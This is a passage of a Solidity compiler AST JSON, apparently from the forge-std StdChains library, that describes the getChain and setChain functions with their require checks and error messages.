0"},"value":"0"},"src":"4106:18:2","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"arguments":[{"arguments":[{"hexValue":"537464436861696e7320676574436861696e2875696e74323536293a20436861696e207769746820494420","id":2842,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"4162:45:2","typeDescriptions":{"typeIdentifier":"t_stringliteral_ce7b2cad45f1a6d0b9b7bb125e9a8742fce8fed7d742c83265d4a2da4caf457d","typeString":"literal_string \"StdChains getChain(uint256): Chain with ID \""},"value":"StdChains getChain(uint256): Chain with ID "},{"arguments":[{"id":2845,"name":"chainId","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":2805,"src":"4221:7:2","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":2843,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":2717,"src":"4209:2:2","typeDescriptions":{"typeIdentifier":"t_contract$_VmSafe_$15098","typeString":"contract VmSafe"}},"id":2844,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"4212:8:2","memberName":"toString","nodeType":"MemberAccess","referencedDeclaration":13441,"src":"4209:11:2","typeDescriptions":{"typeIdentifier":"t_function_external_pure$_t_uint256_$returns$_t_string_memory_ptr_$","typeString":"function (uint256) pure external returns (string memory)"}},"id":2846,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"4209:20:2","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"hexValue":"206e6f7420666f756e642e","id":2847,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"4231:13:2","typeDescriptions":{"typeIdentifier":"t_stringliteral_f310d2efb88747fac959fa7567a0a1a161dd43a77ba9af074f6191cf5bcf4f8b","typeString":"literal_string \" not found.\""},"value":" not found."}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_ce7b2cad45f1a6d0b9b7bb125e9a8742fce8fed7d742c83265d4a2da4caf457d","typeString":"literal_string \"StdChains getChain(uint256): Chain with ID \""},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_stringliteral_f310d2efb88747fac959fa7567a0a1a161dd43a77ba9af074f6191cf5bcf4f8b","typeString":"literal_string \" not found.\""}],"expression":{"id":2840,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"4145:3:2","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":2841,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"4149:12:2","memberName":"encodePacked","nodeType":"MemberAccess","src":"4145:16:2","typeDescriptions":{"typeIdentifier":"t_function_abiencodepacked_pure$__$returns$_t_bytes_memory_ptr_$","typeString":"function () pure returns (bytes memory)"}},"id":2848,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"4145:100:2","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":2839,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"4138:6:2","typeDescriptions":{"typeIdentifier":"t_type$_t_string_storage_ptr_$","typeString":"type(string storage pointer)"},"typeName":{"id":2838,"name":"string","nodeType":"ElementaryTypeName","src":"4138:6:2","typeDescriptions":{}}},"id":2849,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"4138:108:2","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"id":2833,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"4085:7:2","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$_t_string_memory_ptr_$returns$__$","typeString":"function (bool,string memory) pure"}},"id":2850,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"4085:171:2","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":2851,"nodeType":"ExpressionStatement","src":"4085:171:2"},{"expression":{"id":2857,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":2852,"name":"chain","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":2809,"src":"4267:5:2","typeDescriptions":{"typeIdentifier":"t_struct$_Chain_$2735_memory_ptr","typeString":"struct StdChains.Chain memory"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"arguments":[{"id":2854,"name":"chainAlias","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":2822,"src":"4301:10:2","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":2855,"name":"chain","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":2809,"src":"4313:5:2","typeDescriptions":{"typeIdentifier":"t_struct$_Chain_$2735_memory_ptr","typeString":"struct StdChains.Chain memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_struct$_Chain_$2735_memory_ptr","typeString":"struct StdChains.Chain memory"}],"id":2853,"name":"getChainWithUpdatedRpcUrl","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":3211,"src":"4275:25:2","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_string_memory_ptr_$_t_struct$_Chain_$2735_memory_ptr_$returns$_t_struct$_Chain_$2735_memory_ptr_$","typeString":"function (string memory,struct StdChains.Chain memory) view returns (struct StdChains.Chain memory)"}},"id":2856,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"4275:44:2","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_struct$_Chain_$2735_memory_ptr","typeString":"struct StdChains.Chain memory"}},"src":"4267:52:2","typeDescriptions":{"typeIdentifier":"t_struct$_Chain_$2735_memory_ptr","typeString":"struct StdChains.Chain memory"}},"id":2858,"nodeType":"ExpressionStatement","src":"4267:52:2"}]},"implemented":true,"kind":"function","modifiers":[],"name":"getChain","nameLocation":"3794:8:2","parameters":{"id":2806,"nodeType":"ParameterList","parameters":[{"constant":false,"id":2805,"mutability":"mutable","name":"chainId","nameLocation":"3811:7:2","nodeType":"VariableDeclaration","scope":2860,"src":"3803:15:2","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":2804,"name":"uint256","nodeType":"ElementaryTypeName","src":"3803:7:2","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"3802:17:2"},"returnParameters":{"id":2810,"nodeType":"ParameterList","parameters":[{"constant":false,"id":2809,"mutability":"mutable","name":"chain","nameLocation":"3859:5:2","nodeType":"VariableDeclaration","scope":2860,"src":"3846:18:2","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_struct$_Chain_$2735_memory_ptr","typeString":"struct StdChains.Chain"},"typeName":{"id":2808,"nodeType":"UserDefinedTypeName","pathNode":{"id":2807,"name":"Chain","nameLocations":["3846:5:2"],"nodeType":"IdentifierPath","referencedDeclaration":2735,"src":"3846:5:2"},"referencedDeclaration":2735,"src":"3846:5:2","typeDescriptions":{"typeIdentifier":"t_struct$_Chain_$2735_storage_ptr","typeString":"struct StdChains.Chain"}},"visibility":"internal"}],"src":"3845:20:2"},"scope":3477,"stateMutability":"nonpayable","virtual":true,"visibility":"internal"},{"id":2970,"nodeType":"FunctionDefinition","src":"4397:1173:2","nodes":[],"body":{"id":2969,"nodeType":"Block","src":"4482:1088:2","nodes":[],"statements":[{"expression":{"arguments":[{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":2875,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"expression":{"arguments":[{"id":2871,"name":"chainAlias","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":2862,"src":"4519:10:2","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"id":2870,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"4513:5:2","typeDescriptions":{"typeIdentifier":"t_type$_t_bytes_storage_ptr_$","typeString":"type(bytes storage pointer)"},"typeName":{"id":2869,"name":"bytes","nodeType":"ElementaryTypeName","src":"4513:5:2","typeDescriptions":{}}},"id":2872,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"4513:17:2","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},"id":2873,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"4531:6:2","memberName":"length","nodeType":"MemberAccess","src":"4513:24:2","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"!=","rightExpression":{"hexValue":"30","id":2874,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"4541:1:2","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"},"src":"4513:29:2","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"hexValue":"537464436861696e7320736574436861696e28737472696e672c436861696e44617461293a20436861696e20616c6961732063616e6e6f742062652074686520656d70747920737472696e672e","id":2876,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"4556:79:2","typeDescriptions":{"typeIdentifier":"t_stringliteral_30b2334ec57cbeeece39c6405e10d3437560135ecd84835d6b9144db1d575354","typeString":"literal_string \"StdChains setChain(string,ChainData): Chain alias cannot be the empty string.\""},"value":"StdChains setChain(string,ChainData): Chain alias cannot be the empty string."}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_stringliteral_30b2334ec57cbeeece39c6405e10d3437560135ecd84835d6b9144db1d575354","typeString":"literal_string \"StdChains setChain(string,ChainData): Chain alias cannot be the empty string.\""}],"id":2868,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"4492:7:2","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$_t_string_memory_ptr_$returns$__$","typeString":"function (bool,string memory) pure"}},"id":2877,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"4492:153:2","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":2878,"nodeType":"ExpressionStatement","src":"4492:153:2"},{"expression":{"arguments":[{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":2883,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"expression":{"id":2880,"name":"chain","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":2865,"src":"4664:5:2","typeDescriptions":{"typeIdentifier":"t_struct$_ChainData_$2726_memory_ptr","typeString":"struct StdChains.ChainData memory"}},"id":2881,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"4670:7:2","memberName":"chainId","nodeType":"MemberAccess","referencedDeclaration":2723,"src":"4664:13:2","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"!=","rightExpression":{"hexValue":"30","id":2882,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"4681:1:2","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"},"src":"4664:18:2","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"hexValue":"537464436861696e7320736574436861696e28737472696e672c436861696e44617461293a20436861696e2049442063616e6e6f7420626520302e","id":2884,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"4684:61:2","typeDescriptions":{"typeIdentifier":"t_stringliteral_ab0ba8dace83d80dc1941286e8d0551223497db1b420e58abff2f3db2ad3fbf4","typeString":"literal_string \"StdChains setChain(string,ChainData): Chain ID cannot be 0.\""},"value":"StdChains setChain(string,ChainData): Chain ID cannot be 0."}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_stringliteral_ab0ba8dace83d80dc1941286e8d0551223497db1b420e58abff2f3db2ad3fbf4","typeString":"literal_string \"StdChains setChain(string,ChainData): Chain ID cannot be 0.\""}],"id":2879,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"4656:7:2","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$_t_string_memory_ptr_$returns$__$","typeString":"function (bool,string memory) pure"}},"id":2885,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"4656:90:2","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":2886,"nodeType":"ExpressionStatement","src":"4656:90:2"},{"expression":{"arguments":[],"expression":{"argumentTypes":[],"id":2887,"name":"initializeStdChains","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":3439,"src":"4757:19:2","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$__$returns$__$","typeString":"function ()"}},"id":2888,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"4757:21:2","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":2889,"nodeType":"ExpressionStatement","src":"4757:21:2"},{"assignments":[2891],"declarations":[{"constant":false,"id":2891,"mutability":"mutable","name":"foundAlias","nameLocation":"4802:10:2","nodeType":"VariableDeclaration","scope":2969,"src":"4788:24:2","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":2890,"name":"string","nodeType":"ElementaryTypeName","src":"4788:6:2","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"id":2896,"initialValue":{"baseExpression":{"id":2892,"name":"idToAlias","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":2748,"src":"4815:9:2","typeDescriptions":{"typeIdentifier":"t_mapping$_t_uint256_$_t_string_storage_$","typeString":"mapping(uint256 => string storage ref)"}},"id":2895,"indexExpression":{"expression":{"id":2893,"name":"chain","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":2865,"src":"4825:5:2","typeDescriptions":{"typeIdentifier":"t_struct$_ChainData_$2726_memory_ptr","typeString":"struct StdChains.ChainData memory"}},"id":2894,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"4831:7:2","memberName":"chainId","nodeType":"MemberAccess","referencedDeclaration":2723,"src":"4825:13:2","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"4815:24:2","typeDescriptions":{"typeIdentifier":"t_string_storage","typeString":"string storage ref"}},"nodeType":"VariableDeclarationStatement","src":"4788:51:2"},{"expression":{"arguments":[{"commonType":{"typeIdentifier":"t_bool","typeString":"bool"},"id":2918,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":2904,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"expression":{"arguments":[{"id":2900,"name":"foundAlias","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":2891,"src":"4877:10:2","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"id":2899,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"4871:5:2","typeDescriptions":{"typeIdentifier":"t_type$_t_bytes_storage_ptr_$","typeString":"type(bytes storage pointer)"},"typeName":{"id":2898,"name":"bytes","nodeType":"ElementaryTypeName","src":"4871:5:2","typeDescriptions":{}}},"id":2901,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"4871:17:2","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},"id":2902,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"4889:6:2","memberName":"length","nodeType":"MemberAccess","src":"4871:24:2","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"==","rightExpression":{"hexValue":"30","id":2903,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"4899:1:2","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"},"src":"4871:29:2","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"nodeType":"BinaryOperation","operator":"||","rightExpression":{"commonType":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"id":2917,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"arguments":[{"arguments":[{"id":2908,"name":"foundAlias","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":2891,"src":"4920:10:2","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"id":2907,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"4914:5:2","typeDescriptions":{"typeIdentifier":"t_type$_t_bytes_storage_ptr_$","typeString":"type(bytes storage pointer)"},"typeName":{"id":2906,"name":"bytes","nodeType":"ElementaryTypeName","src":"4914:5:2","typeDescriptions":{}}},"id":2909,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"4914:17:2","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":2905,"name":"keccak256","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-8,"src":"4904:9:2","typeDescriptions":{"typeIdentifier":"t_function_keccak256_pure$_t_bytes_memory_ptr_$returns$_t_bytes32_$","typeString":"function (bytes memory) pure returns (bytes32)"}},"id":2910,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"4904:28:2","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"nodeType":"BinaryOperation","operator":"==","rightExpression":{"arguments":[{"arguments":[{"id":2914,"name":"chainAlias","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":2862,"src":"4952:10:2","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"id":2913,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"4946:5:2","typeDescriptions":{"typeIdentifier":"t_type$_t_bytes_storage_ptr_$","typeString":"type(bytes storage pointer)"},"typeName":{"id":2912,"name":"bytes","nodeType":"ElementaryTypeName","src":"4946:5:2","typeDescriptions":{}}},"id":2915,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"4946:17:2","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":2911,"name":"keccak256","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-8,"src":"4936:9:2","typeDescriptions":{"typeIdentifier":"t_function_keccak256_pure$_t_bytes_memory_ptr_$returns$_t_bytes32_$","typeString":"function (bytes memory) pure returns (bytes32)"}},"id":2916,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"4936:28:2","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"src":"4904:60:2","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"src":"4871:93:2","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"arguments":[{"arguments":[{"hexValue":"537464436861696e7320736574436861696e28737472696e672c436861696e44617461293a20436861696e20494420","id":2923,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"5040:49:2","typeDescriptions":{"typeIdentifier":"t_stringliteral_2f5ddfff35cec202bbf760c515d7332e259c9b0c330efa0b2d03073b34906ba0","typeString":"literal_string \"StdChains setChain(string,ChainData): Chain ID \""},"value":"StdChains setChain(string,ChainData): Chain ID "},{"arguments":[{"expression":{"id":2926,"name":"chain","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":2865,"src":"5123:5:2","typeDescriptions":{"typeIdentifier":"t_struct$_ChainData_$2726_memory_ptr","typeString":"struct StdChains.ChainData memory"}},"id":2927,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"5129:7:2","memberName":"chainId","nodeType":"MemberAccess","referencedDeclaration":2723,"src":"5123:13:2","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":2924,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":2717,"src":"5111:2:2","typeDescriptions":{"typeIdentifier":"t_contract$_VmSafe_$15098","typeString":"contract VmSafe"}},"id":2925,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"5114:8:2","memberName":"toString","nodeType":"MemberAccess","referencedDeclaration":13441,"src":"5111:11:2","typeDescriptions":{"typeIdentifier":"t_function_external_pure$_t_uint256_$returns$_t_string_memory_ptr_$","typeString":"function (uint256) pure external returns (string memory)"}},"id":2928,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"5111:26:2","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"hexValue":"20616c726561647920757365642062792022","id":2929,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"5159:21:2","typeDescriptions":{"typeIdentifier":"t_stringliteral_03dcc98944d744f10105f4b63a1d5b4f5b14493812e66201e5f21a3da2662077","typeString":"literal_string \" already used by \"\""},"value":" already used by \""},{"id":2930,"name":"foundAlias","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":2891,"src":"5202:10:2","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"hexValue":"222e","id":2931,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"5234:5:2","typeDescriptions":{"typeIdentifier":"t_stringliteral_cb54fc3dbdac1cb7b87378fdaddeb9e7549db2a108b5270efaa4bcd576270193","typeString":"literal_string \"\".\""},"value":"\"."}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_2f5ddfff35cec202bbf760c515d7332e259c9b0c330efa0b2d03073b34906ba0","typeString":"literal_string \"StdChains setChain(string,ChainData): Chain ID \""},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_stringliteral_03dcc98944d744f10105f4b63a1d5b4f5b14493812e66201e5f21a3da2662077","typeString":"literal_string \" already used by \"\""},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_stringliteral_cb54fc3dbdac1cb7b87378fdaddeb9e7549db2a108b5270efaa4bcd576270193","typeString":"literal_string \"\".\""}],"expression":{"id":2921,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"5002:3:2","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":2922,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"5006:12:2","memberName":"encodePacked","nodeType":"MemberAccess","src":"5002:16:2","typeDescriptions":{"typeIdentifier":"t_function_abiencodepacked_pure$__$returns$_t_bytes_memory_ptr_$","typeString":"function () pure returns (bytes memory)"}},"id":2932,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"5002:255:2","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":2920,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"4978:6:2","typeDescriptions":{"typeIdentifier":"t_type$_t_string_storage_ptr_$","typeString":"type(string storage pointer)"},"typeName":{"id":2919,"name":"string","nodeType":"ElementaryTypeName","src":"4978:6:2","typeDescriptions":{}}},"id":2933,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"4978:293:2","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"id":2897,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"4850:7:2","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$_t_string_memory_ptr_$returns$__$","typeString":"function (bool,string memory) pure"}},"id":2934,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"4850:431:2","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":2935,"nodeType":"ExpressionStatement","src":"4850:431:2"},{"assignments":[2937],"declarations":[{"constant":false,"id":2937,"mutability":"mutable","name":"oldChainId","nameLocation":"5300:10:2","nodeType":"VariableDeclaration","scope":2969,"src":"5292:18:2","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":2936,"name":"uint256","nodeType":"ElementaryTypeName","src":"5292:7:2","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"id":2942,"initialValue":{"expression":{"baseExpression":{"id":2938,"name":"chains","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":2740,"src":"5313:6:2","typeDescriptions":{"typeIdentifier":"t_mapping$_t_string_memory_ptr_$_t_struct$_Chain_$2735_storage_$","typeString":"mapping(string memory => struct StdChains.Chain storage ref)"}},"id":2940,"indexExpression":{"id":2939,"name":"chainAlias","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":2862,"src":"5320:10:2","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"5313:18:2","typeDescriptions":{"typeIdentifier":"t_struct$_Chain_$2735_storage","typeString":"struct StdChains.Chain storage 